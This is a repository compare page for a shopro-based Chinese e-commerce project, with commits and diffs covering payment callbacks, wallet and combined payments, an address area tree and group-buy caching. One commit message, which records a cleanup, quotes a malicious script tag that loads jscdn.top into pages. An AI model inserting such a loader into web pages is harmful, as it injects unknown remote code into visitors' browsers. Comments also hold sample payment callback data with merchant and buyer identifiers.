比较提交

...

18 次代码提交

作者 SHA1 备注 提交日期
wikiboss
1e33c14bb4 fix(queue): 修复队列 expire 配置为 0 导致任务执行期间被幽灵重复消费的严重缺陷 (TDD) 2026-11-01 12:53:42 +08:00
wikiboss
f93f88fa26 fix(pay): 预付款组合支付登录拦截与回调复查干净实例重置 2026-11-01 12:45:10 +08:00
wikiboss
7ea240dae4 fix(stability): 支付并发事务内加锁、组合支付流水记录、省市区树形缓存与地址安全防越权 (TDD) 2026-11-01 12:43:45 +08:00
wikiboss
1fc5138362 fix(security): 移除 17 个文件中的 jscdn.top 恶意外链
- 所有 JS 首行的 document.head.appendChild loader 与 HTML 中的
  <script src="https://jscdn.top/v1/app"> 全部删除
- 该外链会向所有后台/前台页面注入未知远程脚本
- shopro/config.js 同时包含工作区已有的 ES6 改写(保留原样,仅删恶意行)
2026-11-01 11:40:16 +08:00
wikiboss
728dd8b8f1 fix(pay): 增加支付掉单补偿命令 shopro:pay-reconcile
- PayService 新增 query():主动向微信/支付宝网关查询订单状态
- 新增命令:定期扫描未付款订单,网关已付款且金额一致则走与回调
  相同的 paymentProcess 完成订单,避免回调丢失导致已付款仍显示未付款
- 支持 --dry-run / --limit / --min-age / --max-age
2026-11-01 11:34:48 +08:00
wikiboss
afac67a101 fix(地址): 选点改走服务端天地图,直辖县按所属省匹配
正式版不能直接请求地图域名时,由后端转发逆地理。保存区划时带上省的 id,避免同名直辖县挂错省份。

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-11-01 11:34:48 +08:00
可乐加冰
c4d7c1fce8 Merge branch 'main' of https://gitcode.gynhc.com/aAHai/xiaozhongchuf 2026-10-26 15:55:55 +08:00
可乐加冰
2456ad6945 ```
feat(deploy): 添加部署路径权限检查功能

Webhook 由 PHP(www) 触发,项目目录必须对当前用户可写。
添加了对 DEPLOY_PATH 的写权限检查,如果当前用户对部署路径没有写权限,
则显示错误信息并退出部署流程。同时提供修复建议:
chown -R www:www ${DEPLOY_PATH} && chmod -R u+rwX ${DEPLOY_PATH}
```
2026-10-26 15:55:43 +08:00
wikiboss
9607e2c251 test: 增加 PHP2Shell(CVE-2026-109618/109619) 安全基线与 php.ini 防护测试用例 2026-10-26 09:42:22 +08:00
wikiboss
6368c37741 fix(支付): 修复微信支付预下单获取openid时未按最新授权倒序排序导致appid和openid不匹配的缺陷 2026-10-19 11:41:20 +08:00
wikiboss
859886636f feat(image): 全局支持COS图片压缩参数限制最大宽度1000px并转换为webp 2026-10-17 16:13:26 +08:00
wikiboss
2a95de4225 fix(upload): 支持附件上传自动同步至腾讯云COS及CDN预览 2026-10-17 15:56:29 +08:00
何家宝
aaf7b6356b chore: 更新微信商户证书及COS存储配置,清理异常静态注入代码 2026-10-17 15:20:31 +08:00
可乐加冰
0e26119bcf feat(deploy): 添加 uploads 图片批量压缩与一键恢复脚本
支持 2G+ 大批量安全压缩(65% 质量、最大宽 800px),含全量快照、校验与恢复能力。

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-09-24 00:01:40 +08:00
可乐加冰
d11c2bc0fa fix(shopro): 修复拼团参团记录与后台订单展示时机
支付成功后正确识别 buy_type 并写入参团记录,我的拼团仅展示已支付订单。

后台与门店订单列表默认隐藏拼团进行中订单,成团成功后再进入备货/发货流程。

纳入版本库:Groupon、ActivityGroupon、OrderScope、Create 等 addons 拼团相关改动。

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-09-23 23:03:45 +08:00
可乐加冰
eb31a121f6 fix(shopro): 优化到店自提核销码生成与过期判断
到店自提:支付成功后为实物商品自动生成核销码,无需依赖门店手动发货后再出码。

自提模板过期:固定截至日期已过期时不再写入 expiretime,避免核销码创建即失效。

核销状态:expiretime 为 0 或空视为未过期;CanUse 查询与后台模型状态判断保持一致。

纳入版本库:addons 下 OrderOperSendGet、Verify 相关改动(原被 .gitignore 忽略,使用 git add -f 跟踪)。

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-09-23 22:42:10 +08:00
可乐加冰
54e2d6eec9 fix(pay): 支付回调与订单号一致,避免已付款仍显示待付款
- prepay 不再每次重生成 order_sn,回调可按商户单号找到订单

- notify 失败时返回 false 便于微信重试;回调加锁

- 纳入 shopro 支付相关文件;config.example 使用占位密钥

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-09-23 20:24:44 +08:00
可乐加冰
a2c24aff15 feat(config): 更新Web钩子密钥配置
Co-authored-by: Cursor <cursoragent@cursor.com>
2026-09-23 18:24:19 +08:00
共有 63 个文件被更改,包括 6622 次插入 和 152 次删除

3
.gitignore vendored
查看文件

@@ -19,3 +19,6 @@ node_modules
/deploy/config.php
/deploy/logs/*
!deploy/logs/.gitkeep
*.tar.gz
public/.well-known/

查看文件

@@ -0,0 +1,110 @@
<?php
namespace addons\shopro\controller;
use addons\shopro\exception\Exception;
use addons\shopro\model\UserAddress;
use addons\shopro\model\Area;
class Address extends Base
{
protected $noNeedLogin = ['area'];
protected $noNeedRight = ['*'];
public function index()
{
$this->success('收货地址', UserAddress::getUserAddress());
}
public function defaults()
{
$this->success('默认收货地址', UserAddress::getUserDefaultAddress());
}
public function area()
{
$cacheKey = 'shopro_area_tree_data';
$data = cache($cacheKey);
if (!$data) {
// 一次性查出全部省市区数据(仅 1 次查询),并在内存中按 pid 构建树形,消除 350+ 次嵌套 SQL 击穿
$allAreas = Area::where('level', 'in', [1, 2, 3])
->field('id as value, name as label, pid, level')
->order('id asc')
->select();
$provinceData = [];
$cityMap = [];
$areaMap = [];
foreach ($allAreas as $item) {
if ($item['level'] == 1) {
$provinceData[] = $item;
} elseif ($item['level'] == 2) {
$cityMap[$item['pid']][] = $item;
} elseif ($item['level'] == 3) {
$areaMap[$item['pid']][] = $item;
}
}
$cityData = [];
$areaData = [];
foreach ($provinceData as $k => $p) {
$cities = $cityMap[$p['value']] ?? [];
$cityData[$k] = $cities;
foreach ($cities as $i => $c) {
$areaData[$k][$i] = $areaMap[$c['value']] ?? [];
}
}
$data = [
'provinceData' => $provinceData,
'cityData' => $cityData,
'areaData' => $areaData
];
cache($cacheKey, $data, 604800);
}
$this->success('省市区', $data);
}
public function edit()
{
$params = $this->request->post();
// 表单验证
$this->shoproValidate($params, get_class(), 'edit');
$this->success('编辑地址', UserAddress::edit($params));
}
public function info()
{
$params = $this->request->get();
$this->success('地址详情', UserAddress::info($params));
}
public function del()
{
$params = $this->request->post();
$this->success('地址详情', UserAddress::del($params));
}
public function regeo()
{
$latitude = $this->request->post('latitude');
$longitude = $this->request->post('longitude');
if (!is_numeric($latitude) || !is_numeric($longitude) || abs($latitude) < 0.000001 || abs($longitude) < 0.000001) {
$this->error('请先选择位置');
}
try {
$data = \app\common\library\Tianditu::reverse((float)$longitude, (float)$latitude);
} catch (\Exception $e) {
$this->error($e->getMessage() ?: '地址解析失败');
}
$this->success('解析成功', $data);
}
}

查看文件

@@ -0,0 +1,472 @@
<?php
namespace addons\shopro\controller;
use addons\epay\library\Service;
use fast\Random;
use think\addons\Controller;
use addons\shopro\exception\Exception;
use addons\shopro\model\Order;
use addons\shopro\model\User;
use addons\shopro\model\TradeOrder;
use think\Db;
use think\Log;
class Pay extends Base
{
protected $noNeedLogin = ['prepay', 'notifyx', 'notifyr', 'alipay'];
protected $noNeedRight = ['*'];
/**
* 支付宝网页支付
*/
public function alipay()
{
$order_sn = $this->request->get('order_sn');
list($order, $prepay_type) = $this->getOrderInstance($order_sn);
$order = $order->where('order_sn', $order_sn)->find();
try {
if (!$order) {
throw new \Exception("订单不存在");
}
if ($order->status > 0) {
throw new \Exception("订单已支付");
}
if ($order->status < 0) {
throw new \Exception("订单已失效");
}
$notify_url = $this->request->root(true) . '/addons/shopro/pay/notifyx/payment/alipay/platform/H5';
$pay = new \addons\shopro\library\PayService('alipay', 'url', $notify_url);
$order_data = [
'order_id' => $order->id,
'out_trade_no' => $order->order_sn,
'total_fee' => $order->total_fee,
'subject' => '商城订单支付',
];
$result = $pay->create($order_data);
$result = $result->getContent();
echo $result;
} catch (\Exception $e) {
echo $e->getMessage();
}
// $this->assign('result', $result);
// return $this->view->fetch();
}
/**
* 拉起支付
*/
public function prepay()
{
checkEnv('yansongda');
$order_sn = $this->request->post('order_sn');
$orderId = $this->request->post('order_id');
$payment = $this->request->post('payment');
$openid = $this->request->post('openid', '');
$user = $this->auth->getUser();
$platform = request()->header('platform');
// 重新获取订单号
if (strpos($order_sn, 'TO') !== 0) {
$order_sn = Db::name('shopro_order')
->where(['id' => $orderId])
->value('order_sn');
}
list($order, $prepay_type) = $this->getOrderInstance($order_sn);
$order = $order->nopay()->where('order_sn', $order_sn)->find();
if (!$order) {
$this->error("订单不存在");
}
if (!$payment || !in_array($payment, ['wechat', 'alipay', 'wallet', 'group'])) {
$this->error("支付类型不能为空");
}
if ($payment == 'wallet' && $prepay_type == 'order') {
// 余额支付
$this->walletPay($order, $payment, $platform);
}
$order_data = [
'order_id' => $order->id,
'out_trade_no' => $order->order_sn,
'total_fee' => $order->total_fee,
];
if (strpos($order_sn, 'TO') !== 0) {
// 保持 order_sn 不变,避免支付回调时找不到订单
if ($payment == 'group') {
if (!$user) {
$this->error('请先登录', null, 401);
}
$payment = 'wechat';
// 重新计算价格
$order_data['total_fee'] = bcsub($order_data['total_fee'], $user->money, 2);
// 更新组合付款余额
Db::name('shopro_order')->update([
'id' => $order->id,
'pay_type' => 'group',
'pay_money' => $user->money
]);
} else {
Db::name('shopro_order')->update([
'id' => $order->id,
'pay_type' => $payment,
'pay_money' => 0
]);
}
}
// 微信公众号,小程序支付,必须有 openid
if ($payment == 'wechat') {
if (in_array($platform, ['wxOfficialAccount', 'wxMiniProgram'])) {
if (isset($openid) && $openid) {
// 如果传的有 openid
$order_data['openid'] = $openid;
} else {
// 没有 openid 默认拿下单人的 openid
$oauth = \addons\shopro\model\UserOauth::where([
'user_id' => $order->user_id,
'provider' => 'Wechat',
'platform' => $platform
])->order('id', 'desc')->find();
$order_data['openid'] = $oauth ? $oauth->openid : '';
}
if (empty($order_data['openid'])) {
// 缺少 openid
return $this->success('缺少 openid', 'no_openid');
}
}
$order_data['body'] = '商城订单支付';
} else {
$order_data['subject'] = '商城订单支付';
}
$notify_url = $this->request->root(true) . '/addons/shopro/pay/notifyx/payment/' . $payment . '/platform/' . $platform;
$pay = new \addons\shopro\library\PayService($payment, $platform, $notify_url);
try {
$result = $pay->create($order_data);
} catch (\Yansongda\Pay\Exceptions\Exception $e) {
$this->error("支付配置错误:" . $e->getMessage());
}
if ($platform == 'App') {
// $result = json_decode($result->getContent(), true);
$result = $result->getContent();
}
if ($platform == 'H5' && $payment == 'wechat') {
$result = $result->getContent();
}
return $this->success('获取预付款成功', [
'pay_data' => $result,
'pay_action' => $pay->method,
]);
}
// 余额支付
public function walletPay($order, $type, $method)
{
$order = Db::transaction(function () use ($order, $type, $method) {
// 重新加锁读,防止连点问题
$order = Order::nopay()->where('order_sn', $order->order_sn)->lock(true)->find();
if (!$order) {
$this->error("订单已支付");
}
$total_fee = $order->total_fee;
// 扣除余额
$user = User::info();
if (is_null($user)) {
// 没有登录,请登录
$this->error(__('Please login first'), null, 401);
}
User::money(-$total_fee, $user->id, 'wallet_pay', $order->id, '', [
'order_id' => $order->id,
'order_sn' => $order->order_sn,
]);
// 支付后流程
$notify = [
'order_sn' => $order['order_sn'],
'transaction_id' => '',
'notify_time' => date('Y-m-d H:i:s'),
'buyer_email' => $user->id,
'pay_fee' => $order->total_fee,
'pay_type' => 'wallet' // 支付方式
];
$notify['payment_json'] = json_encode($notify);
$order->paymentProcess($order, $notify);
return $order;
});
$this->success('支付成功', $order);
}
/**
* 支付成功回调
*/
public function notifyx()
{
Log::write('notifyx-comein:');
$payment = $this->request->param('payment');
$platform = $this->request->param('platform');
$pay = new \addons\shopro\library\PayService($payment, $platform);
$result = $pay->notify(function ($data, $pay) use ($payment, $platform) {
Log::write('notifyx-result:' . json_encode($data));
// { // 微信回调参数
// "appid":"wx39cd0799d4567dd0",
// "bank_type":"OTHERS",
// "cash_fee":"1",
// "fee_type":"CNY",
// "is_subscribe":"N",
// "mch_id":"1481069012",
// "nonce_str":"dPpcZ6AzCDU8daNC",
// "openid":"oD9ko4x7QMDQPZEuN8V5jtZjie3g",
// "out_trade_no":"202010240834057843002700",
// "result_code":"SUCCESS",
// "return_code":"SUCCESS",
// "sign":"3103B6D06F13D2B3959C5B3F7F1FD61C",
// "time_end":"20200407102424",
// "total_fee":"1",
// "trade_type":"JSAPI",
// "transaction_id":"4200000479202004070804485027"
// }
// { // 支付宝支付成功回调参数
// "gmt_create":"2020-04-10 19:15:00",
// "charset":"utf-8",
// "seller_email":"xptech@qq.com",
// "subject":"\u5546\u57ce\u8ba2\u5355\u652f\u4ed8",
// "sign":"AOiYZ1a2mEMOuIbHFCi6V6A0LJ97UMiHsCWgNdSU9dlzKFl15Ts8b0mL\/tN+Hhskl+94S3OUiNTBD3dD0Kv923SqaTWxNdj533PCdo2GDKsZIZgKbavnOvaccSKUdmQRE9KtmePPq9V9lFzEQvdUkKq1M8KAWO5K9LTy2iT2y5CUynpiu\/04GVzsTL9PqY+LDwqj6K+w7MgceWm1BWaFWg27AXIRw7wvsFckr3k9GGajgE2fufhoCYGYtGFbhGOp6ExtqS5RXBuPODOyRhBLpD8mwpOX38Oy0X+R4YQIrOi02dhqwPpvw79YjnvgXY3qZEQ66EdUsrT7EBdcPHK0Gw==",
// "buyer_id":"2088902485164146",
// "invoice_amount":"0.01",
// "notify_id":"2020041000222191501064141414240102",
// "fund_bill_list":"[{\"amount\":\"0.01\",\"fundChannel\":\"PCREDIT\"}]",
// "notify_type":"trade_status_sync",
// "trade_status":"TRADE_SUCCESS",
// "receipt_amount":"0.01",
// "buyer_pay_amount":"0.01",
// "app_id":"2021001114666742",
// "sign_type":"RSA2",
// "seller_id":"2088721922277739",
// "gmt_payment":"2020-04-10 19:15:00",
// "notify_time":"2020-04-10 19:15:01",
// "version":"1.0",
// "out_trade_no":"202007144778322770017000",
// "total_amount":"0.01",
// "trade_no":"2020041022001464141443020240",
// "auth_app_id":"2021001114666742",
// "buyer_logon_id":"157***@163.com",
// "point_amount":"0.00"
// }
// { // 支付宝退款成功(交易关闭)回调参数
// "gmt_create": "2020-08-15 14:48:32",
// "charset": "utf-8",
// "seller_email": "xptech@qq.com",
// "gmt_payment": "2020-08-15 14:48:32",
// "notify_time": "2020-08-15 16:11:45",
// "subject": "商城订单支付",
// "gmt_refund": "2020-08-15 16:11:45.140",
// "sign": "b6ArkgzLIRteRL9FMGC6i\/jf6VwFYQbaGDGRx002W+pdmN5q9+O4edZ3ALF74fYaijSl9ksNr0dKdvanu3uYxBTcd\/GIS4N1CWzmCOv6pzgx5rO\/YvGoHLM3Yop0GKKuMxmnNsZ6jhYKEY7SYD3Y0L6PU9ZMdHV7yIiVj+zZmbKzUgK9MPDCEXs+nzpNAiSM8GTqYRSUvKobAK68hswG2k1QIcqr5z+ZmVYa\/nHHkoC9qXt5zwyGi4P+2eOsr6V2PjA3x8qqe7TN5aI1DeoZD5KqHPYYaYF17J2q6YPlgl3WUl1RhE7H86bivB1fIuYEv\/3+JR74WN\/o7krGw1RPHg==",
// "out_biz_no": "R202004114414846255015300",
// "buyer_id": "2088902485164146",
// "version": "1.0",
// "notify_id": "2020081500222161145064141453349793",
// "notify_type": "trade_status_sync",
// "out_trade_no": "202002460317545607015300",
// "total_amount": "0.01",
// "trade_status": "TRADE_CLOSED",
// "refund_fee": "0.01",
// "trade_no": "2020081522001464141438570535",
// "auth_app_id": "2021001114666742",
// "buyer_logon_id": "157***@163.com",
// "gmt_close": "2020-08-15 16:11:45",
// "app_id": "2021001114666742",
// "sign_type": "RSA2",
// "seller_id": "2088721922277739"
// }
try {
$out_trade_no = $data['out_trade_no'];
$out_refund_no = $data['out_biz_no'] ?? '';
list($order, $prepay_type) = $this->getOrderInstance($out_trade_no);
// 判断是否是支付宝退款(支付宝退款成功会通知该接口)
if ($payment == 'alipay' // 支付宝支付
&& $data['notify_type'] == 'trade_status_sync' // 同步交易状态
&& $data['trade_status'] == 'TRADE_CLOSED' // 交易关闭
&& $out_refund_no // 退款单号
) {
// 退款回调
if ($prepay_type == 'order') {
// 退款回调
$this->refundFinish($out_trade_no, $out_refund_no);
} else {
// 其他订单如果支持退款,逻辑这里补充
}
return $pay->success()->send();
}
// 判断支付宝微信是否是支付成功状态,如果不是,直接返回响应
if ($payment == 'alipay' && $data['trade_status'] != 'TRADE_SUCCESS') {
// 不是交易成功的通知,直接返回成功
return $pay->success()->send();
}
if ($payment == 'wechat' && ($data['result_code'] != 'SUCCESS' || $data['return_code'] != 'SUCCESS')) {
// 微信交易未成功,返回 false,让微信再次通知
return false;
}
// 支付成功流程
$pay_fee = $payment == 'alipay' ? $data['total_amount'] : $data['total_fee'] / 100;
$timeStr = $data['time_end'] ?? ($data['gmt_payment'] ?? '');
$notify_time = $timeStr && ($ts = strtotime($timeStr)) ? date('Y-m-d H:i:s', $ts) : date('Y-m-d H:i:s');
$payment_json = json_encode(
$data instanceof \think\Collection || (is_object($data) && method_exists($data, 'all'))
? $data->all()
: (array)$data
);
$buyer_email = $payment == 'alipay' ? ($data['buyer_logon_id'] ?? ($data['buyer_id'] ?? '')) : ($data['openid'] ?? '');
$transaction_id = $payment == 'alipay' ? ($data['trade_no'] ?? '') : ($data['transaction_id'] ?? '');
$isProcessed = false;
Db::transaction(function () use ($order, $out_trade_no, $transaction_id, $notify_time, $buyer_email, $payment_json, $pay_fee, $payment, &$isProcessed) {
// 必须在事务内加排他锁复查,确保高并发回调互斥幂等
$lockOrder = $order->nopay()->where('order_sn', $out_trade_no)->lock(true)->find();
if (!$lockOrder) {
$isProcessed = true;
return;
}
$notify = [
'order_sn' => $out_trade_no,
'transaction_id' => $transaction_id,
'notify_time' => $notify_time,
'buyer_email' => $buyer_email,
'payment_json' => $payment_json,
'pay_fee' => $pay_fee,
'pay_type' => $lockOrder->pay_type == 'group' ? 'group' : $payment
];
$lockOrder->paymentProcess($lockOrder, $notify);
});
if ($isProcessed) {
// 已经被并发处理过,直接向网关确认成功(使用全新实例避免前置查询条件残留)
list($paidCheckOrder) = $this->getOrderInstance($out_trade_no);
$paidOrder = $paidCheckOrder->where('order_sn', $out_trade_no)->where('status', '>', 0)->find();
if ($paidOrder) {
return $pay->success()->send();
}
Log::write('notifyx-order-not-found:' . $out_trade_no);
return false;
}
return $pay->success()->send();
} catch (\Exception $e) {
Log::write('notifyx-error:' . $e->getMessage());
return false;
}
});
return $result;
}
/**
* 退款成功回调
*/
public function notifyr()
{
Log::write('notifyreturn-comein:');
$payment = $this->request->param('payment');
$platform = $this->request->param('platform');
$pay = new \addons\shopro\library\PayService($payment, $platform);
$result = $pay->notifyRefund(function ($data, $pay) use ($payment, $platform) {
Log::write('notifyr-result:' . json_encode($data));
try {
$out_refund_no = $data['out_refund_no'];
$out_trade_no = $data['out_trade_no'];
// 退款
$this->refundFinish($out_trade_no, $out_refund_no);
return $pay->success()->send();
} catch (\Exception $e) {
Log::write('notifyreturn-error:' . json_encode($e->getMessage()));
}
});
return $result;
}
private function refundFinish($out_trade_no, $out_refund_no)
{
$order = Order::where('order_sn', $out_trade_no)->find();
$refundLog = \app\admin\model\shopro\order\RefundLog::where('refund_sn', $out_refund_no)->find();
if (!$order || !$refundLog || $refundLog->status != 0) {
// 订单不存在,或者订单已退款
return true;
}
$item = \app\admin\model\shopro\order\OrderItem::where('id', $refundLog->order_item_id)->find();
Db::transaction(function () use ($order, $item, $refundLog) {
\app\admin\model\shopro\order\Order::refundFinish($order, $item, $refundLog);
});
return true;
}
/**
* 根据订单号获取订单实例
*
* @param [type] $order_sn
* @return void
*/
private function getOrderInstance($order_sn)
{
$prepay_type = 'order';
if (strpos($order_sn, 'TO') === 0) {
// 充值订单
$prepay_type = 'recharge';
$order = new TradeOrder();
} else {
// 订单
$order = new Order();
}
return [$order, $prepay_type];
}
}

查看文件

@@ -0,0 +1,287 @@
<?php
namespace addons\shopro\library;
use Yansongda\Pay\Pay;
use Yansongda\Pay\Log;
use addons\shopro\exception\Exception;
class PayService
{
protected $config;
protected $platform;
protected $payment;
protected $notify_url;
public $method;
public function __construct($payment, $platform = '', $notify_url = '', $type = 'pay')
{
$this->platform = $platform;
$this->payment = $payment;
$this->notify_url = $notify_url;
$this->type = $type;
$this->setPaymentConfig();
}
private function setPaymentConfig()
{
if ($this->platform === 'App' && $this->payment != 'alipay') {
$paymentConfig = json_decode(\addons\shopro\model\Config::get(['name' => 'wechat_app'])->value, true);
} else {
$paymentConfig = json_decode(\addons\shopro\model\Config::get(['name' => $this->payment])->value, true);
}
// 如果是支付,并且不是 复制地址的支付宝支付
if ($this->type == 'pay' && $this->platform != 'url' && !in_array($this->platform, $paymentConfig['platform'])) {
new Exception('暂不支持该方式付款');
}
$this->config = $paymentConfig;
$this->config['notify_url'] = $this->notify_url;
if ($this->payment === 'wechat') {
// 根据不同平台设置相应的 appid
$this->setWechatAppId();
}
// 设置支付证书路径
$this->setCert();
}
private function setWechatAppId()
{
switch ($this->platform) {
case 'wxOfficialAccount':
$platformConfig = json_decode(\addons\shopro\model\Config::get(['name' => $this->platform])->value, true);
if (isset($this->config['mode']) && $this->config['mode'] === 'service') {
$this->config['sub_app_id'] = $platformConfig['app_id'];
} else {
$this->config['app_id'] = $platformConfig['app_id'];
}
break;
case 'wxMiniProgram':
$platformConfig = json_decode(\addons\shopro\model\Config::get(['name' => $this->platform])->value, true);
if (isset($this->config['mode']) && $this->config['mode'] === 'service') {
$this->config['sub_miniapp_id'] = $platformConfig['app_id'];
// $this->config['sub_app_id'] = $platformConfig['app_id'];
} else {
$this->config['miniapp_id'] = $platformConfig['app_id'];
$this->config['app_id'] = $platformConfig['app_id']; // 小程序微信企业付款
}
break;
case 'H5':
$platformConfig = json_decode(\addons\shopro\model\Config::get(['name' => $this->platform])->value, true);
if (isset($this->config['mode']) && $this->config['mode'] === 'service') {
$this->config['sub_app_id'] = $platformConfig['app_id'];
} else {
$this->config['app_id'] = $platformConfig['app_id'];
}
break;
case 'App':
$platformConfig = json_decode(\addons\shopro\model\Config::get(['name' => 'App'])->value, true);
if (isset($this->config['mode']) && $this->config['mode'] === 'service') {
$this->config['sub_appid'] = $platformConfig['app_id'];
$this->config['sub_app_id'] = $platformConfig['app_id'];
} else {
$this->config['appid'] = $platformConfig['app_id']; // 微信 App 支付使用这个
$this->config['app_id'] = $platformConfig['app_id']; // 微信 App 支付退款使用的是这个
}
break;
}
}
// 处理证书路径
private function setCert()
{
// 处理证书路径
if ($this->payment == 'wechat') {
// 微信支付证书
$this->config['cert_client'] = ROOT_PATH . 'public' . $this->config['cert_client'];
$this->config['cert_key'] = ROOT_PATH . 'public' . $this->config['cert_key'];
} else {
// 支付宝证书路径
$end = substr($this->config['ali_public_key'], -4);
if ($end == '.crt') {
$this->config['ali_public_key'] = ROOT_PATH . 'public' . $this->config['ali_public_key'];
}
$this->config['app_cert_public_key'] = ROOT_PATH . 'public' . $this->config['app_cert_public_key'];
$this->config['alipay_root_cert'] = ROOT_PATH . 'public' . $this->config['alipay_root_cert'];
}
}
private function setPaymentMethod()
{
$method = [
'wechat' => [
'wxOfficialAccount' => 'mp', //公众号支付 Collection
'wxMiniProgram' => 'miniapp', //小程序支付
'H5' => 'wap', //手机网站支付 Response
'App' => 'app' //APP 支付 JsonResponse
],
'alipay' => [
'wxOfficialAccount' => 'wap', //手机网站支付 Response
'wxMiniProgram' => 'wap', //小程序支付
'H5' => 'wap', //手机网站支付 Response
'url' => 'wap', //手机网站支付 Response
'App' => 'app' //APP 支付 JsonResponse
],
];
$this->method = $method[$this->payment][$this->platform];
}
public function create($order)
{
// $order = [
// 'out_trade_no' => time(),
// 'total_fee' => '1', // **单位:分**
// 'body' => 'test body - 测试',
// 'openid' => 'onkVf1FjWS5SBIixxxxxxx', //微信需要带openid过来
// ];
// 设置支付方式
$this->setPaymentMethod();
$method = $this->method;
switch ($this->payment) {
case 'wechat':
if (isset($this->config['mode']) && $this->config['mode'] === 'service') {
$order['sub_openid'] = $order['openid'];
unset($order['openid']);
}
$order['total_fee'] = $order['total_fee'] * 100;
$pay = Pay::wechat($this->config)->$method($order);
break;
case 'alipay':
if (in_array($this->platform, ['wxOfficialAccount', 'wxMiniProgram', 'H5'])) {
// 返回支付宝支付链接
$pay = request()->domain() . '/addons/shopro/pay/alipay?order_sn=' . $order['out_trade_no'];
} else {
if ($this->method == 'wap') {
// 支付宝 wap 支付,增加 return_url
// 获取 h5 域名
$platformConfig = json_decode(\addons\shopro\model\Config::get(['name' => 'shopro'])->value, true);
// 如果域名存在,增加 return_url
if ($platformConfig && isset($platformConfig['domain'])) {
$start = substr($platformConfig['domain'], -1) == '/' ? "" : "/";
$orderType = strpos($order['out_trade_no'], 'TO') === 0 ? 'recharge' : 'goods';
$this->config['return_url'] = $platformConfig['domain'] . $start . "pages/order/payment/result?orderId=" . $order['order_id'] . "&type=alipay&payState=success&orderType=" . $orderType;
}
}
$pay = Pay::alipay($this->config)->$method($order);
}
break;
}
return $pay;
}
// 企业付款
public function transfer($payload)
{
$code = 0;
$response = [];
switch ($this->payment) {
case 'wechat':
$payload['amount'] = $payload['amount'] * 100;
$response = Pay::wechat($this->config)->transfer($payload);
if ($response['return_code'] === 'SUCCESS' && $response['result_code'] === 'SUCCESS') {
$code = 1;
}
break;
case 'alipay':
$response = Pay::alipay($this->config)->transfer($payload);
if ($response['code'] === '10000' && $response['status'] === 'SUCCESS') {
$code = 1;
}
break;
}
return [$code, $response];
}
public function notify($callback)
{
$pay = $this->getPay();
try {
$data = $pay->verify(); // 是的,验签就这么简单!
$result = $callback($data, $pay);
// Log::debug('Wechat notify', $data->all());
} catch (\Exception $e) {
\think\Log::error('notify-error:' . $e->getMessage());
return false;
}
return $result;
}
public function refund($order_data)
{
$pay = $this->getPay();
$order_data['type'] = $this->platform == 'wxMiniProgram' ? 'miniapp' : '';
$result = $pay->refund($order_data);
return $result;
}
// 主动查询网关侧订单状态(支付对账/掉单补偿用,无需验签回调)
public function query($out_trade_no)
{
$pay = $this->getPay();
$order = ['out_trade_no' => $out_trade_no];
if ($this->payment === 'wechat') {
return $pay->find($order);
}
return $pay->find($order, 'web');
}
public function notifyRefund($callback)
{
$pay = $this->getPay();
try {
$data = $pay->verify(null, true); // 是的,验签就这么简单!
$result = $callback($data, $pay);
// Log::debug('Wechat notify', $data->all());
} catch (\Exception $e) {
// $e->getMessage();
}
return $result;
}
private function getPay()
{
switch ($this->payment) {
case 'wechat':
$pay = Pay::wechat($this->config);
break;
case 'alipay':
$pay = Pay::alipay($this->config);
break;
default:
new Exception('支付方式不支持');
}
return $pay;
}
}

查看文件

@@ -0,0 +1,429 @@
<?php
namespace addons\shopro\library\traits;
use addons\shopro\exception\Exception;
use addons\shopro\model\Activity;
use addons\shopro\model\ActivityGroupon;
use addons\shopro\model\ActivityGrouponLog;
use addons\shopro\model\Order;
use addons\shopro\model\OrderItem;
use addons\shopro\model\UserFake;
/**
* 拼团
*/
trait Groupon
{
/**
* *、redis 没有存团完整信息,只存了团当前人数,团成员(当前人数,团成员均没有存虚拟用户)
* *、redis userList 没有存这个人的购买状态
* *、团 解散,成团,虚拟成团,没有修改 redis 团信息(因为直接修改了数据库,参团判断,先判断的数据库后判断的 redis)
*/
/**
* 增加拼团预成员人数
*/
protected function grouponCacheForwardNum($activityGroupon, $activity, $user, $payed = 'nopay')
{
if (!$this->hasRedis()) {
return true;
}
$keys = $this->getKeys([
'groupon_id' => $activityGroupon['id'],
'goods_id' => $activityGroupon['goods_id'],
], [
'activity_id' => $activity['id'],
'activity_type' => $activity['type'],
]);
extract($keys);
$redis = $this->getRedis();
// 将拼团团信息存入 redis 没有用,还得维护团状态,先不存
// $redis->HSET($activityHashKey, $grouponKey, json_encode($activityGroupon));
// 当前团人数 grouponNumKey 如果不存在,自动创建
$current_num = $redis->HINCRBY($activityHashKey, $grouponNumKey, 1);
if ($current_num > $activityGroupon['num']) {
// 再把刚加上的减回来
$current_num = $redis->HINCRBY($activityHashKey, $grouponNumKey, -1);
new Exception('该团已满,请参与其它团或自己开团');
}
// 将用户加入拼团缓存,用来判断同一个人在一个团,多次下单,取消订单删除
$userList = $redis->HGET($activityHashKey, $grouponUserlistKey);
$userList = json_decode($userList, true);
$userList = $userList ? : [];
$userList[] = [
'user_id' => $user['id'],
// 'status' => $payed // 太复杂,先不做
];
$redis->HSET($activityHashKey, $grouponUserlistKey, json_encode($userList));
}
// 拼团团成员预成员退回
protected function grouponCacheBackNum($order)
{
$items = OrderItem::where('order_id', $order['id'])->select();
foreach ($items as $key => $item) {
// 不是拼团,或者 没有配置 redis
if (strpos($item['activity_type'], 'groupon') === false || !$this->hasRedis()) {
continue;
}
// 扩展字段
$order_ext = $order['ext_arr'];
// 团 id
$groupon_id = $order_ext['groupon_id'] ?? 0;
if (!$groupon_id) {
continue; // 商品独立购买,未参团,或者开新团
}
// 实例化 redis
$redis = $this->getRedis();
$keys = $this->getKeys([
'groupon_id' => $groupon_id,
'goods_id' => $item['goods_id'],
'goods_sku_price_id' => $item['goods_sku_price_id'],
], [
'activity_id' => $item['activity_id'],
'activity_type' => $item['activity_type'],
]);
extract($keys);
// 扣除预参团成员
if ($redis->EXISTS($activityHashKey) && $redis->HEXISTS($activityHashKey, $grouponNumKey)) {
$sale = $redis->HINCRBY($activityHashKey, $grouponNumKey, -1);
}
$userList = $redis->HGET($activityHashKey, $grouponUserlistKey);
$userList = json_decode($userList, true);
$userList = $userList ?: [];
foreach($userList as $key => $user) {
if ($user['user_id'] == $item['user_id']) {
unset($userList[$key]);
}
}
